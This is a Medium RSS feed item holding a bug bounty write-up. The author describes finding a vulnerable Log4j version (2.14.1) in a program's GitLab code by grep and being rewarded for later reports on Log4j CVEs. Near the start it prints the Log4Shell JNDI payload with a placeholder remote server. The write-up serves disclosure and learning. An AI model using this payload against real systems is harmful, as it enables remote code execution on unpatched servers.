<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Pranav Gajjar on Medium]]></title>
        <description><![CDATA[Stories by Pranav Gajjar on Medium]]></description>
        <link>https://medium.com/@pranav-gajjar?source=rss-d488d2d5742e------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*uXuMC8I3YrSE41XaJ1Noeg.jpeg</url>
            <title>Stories by Pranav Gajjar on Medium</title>
            <link>https://medium.com/@pranav-gajjar?source=rss-d488d2d5742e------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 03:05:02 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@pranav-gajjar/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[How did I find Log4j vulnerability via Static Code Analysis and receive €€€ bounty?]]></title>
            <link>https://medium.com/@pranav-gajjar/how-did-i-find-log4j-vulnerability-via-static-code-analysis-and-received-bounty-94f4d86cea88?source=rss-d488d2d5742e------2</link>
            <guid isPermaLink="false">https://medium.com/p/94f4d86cea88</guid>
            <category><![CDATA[log4j]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[bug-bounty-hunting]]></category>
            <category><![CDATA[log4j-vulnerability]]></category>
            <category><![CDATA[apache-log4j]]></category>
            <dc:creator><![CDATA[Pranav Gajjar]]></dc:creator>
            <pubDate>Mon, 10 Jan 2022 17:39:05 GMT</pubDate>
            <atom:updated>2022-01-10T18:17:51.179Z</atom:updated>
            <content:encoded><![CDATA[<p>Log4shell., zero-day exploit in the popular Java logging library log4j2 was discovered that result in Remote Code Execution (RCE) by logging a certain string. It is an open-source java-based logging framework commonly into apache web servers and if any application is using the vulnerable version of the log4j library then it can be vulnerable to this exploit. It is a CVE-2021–44228 which exists in the log4j library and it is very critical in nature and it has a CVSS score of 10. The highest possible severity rating.</p><p>CVE-2021–44228 works on:<br>log4j: 2.0 &lt;= Apache log4j &lt;= 2.14.1<br>Payload: ${jndi:ldap://remoteserverip}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*EK7XqZvnrrjy1xaRbX9ONA.jpeg" /></figure><p><strong>How did I find this Bug?</strong></p><p>Once the zero-day exploit was released every bug bounty hunter be like sending requests with its payload to every possible endpoint and tried to exploit it.</p><p>I picked one bug bounty program and tried to find the log4j vulnerability but bad luck. Then I went to their GitLab profile and cloned the entire application to the local machine.</p><p>To find whether this application is vulnerable to log4j or not I had to find whether it is using log4j or not and if it is then at which endpoint. To find that I executed the following command: <strong>grep -Rw &lt;GitlabRepoPath&gt; -e ‘log4j’</strong><br>It gave me the output like file name and the line which has log4j in it. It is a very efficient method to find any particular string from the hierarchy of folders and files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/225/1*RbfKSTahhJIObUWZomEB7g.jpeg" /></figure><p>I found below line of code:<br>&lt;log4j. version&gt;2.14.1&lt;/log4j. version&gt;</p><p>Yes, it is a vulnerable version of log4j and I immediately reported it to the organization.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/320/1*bTmp45b88jBALXNH2MD1fw.jpeg" /></figure><p>But unfortunately, it got duplicated and rejected by them. The same issue was raised by the internal team a few days back.</p><p>One day I got a notification from google that “New zero-day exploit found in log4j”. (CVE 2021–45105)</p><p>As I already know that this domain is using log4j I immediately reported this issue with the necessory details. After a few days, I again got a notification from google that “New zero-day exploit found in log4j” (CVE 2021–44832) and I reported this as well.</p><p>Today, I just got an email that both of my bug submissions are marked as “<strong>Accepted</strong>” and they Rewarded <strong>€€€</strong> as a bounty.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*qtTYIg1Hdk5awFY8AK4qJQ.jpeg" /></figure><p>It was the first time when I did Static Code Analysis and found vulnerability.</p><p>“<strong>It was started with the ending of the year 2021 and ended with a good beginning of the year 2022.</strong>”</p><p><strong>Tip:</strong> It is always advisable to be up to date with all the security vulnerabilities and exploits. It will come handly any moment.</p><p>Thank you.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=94f4d86cea88" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>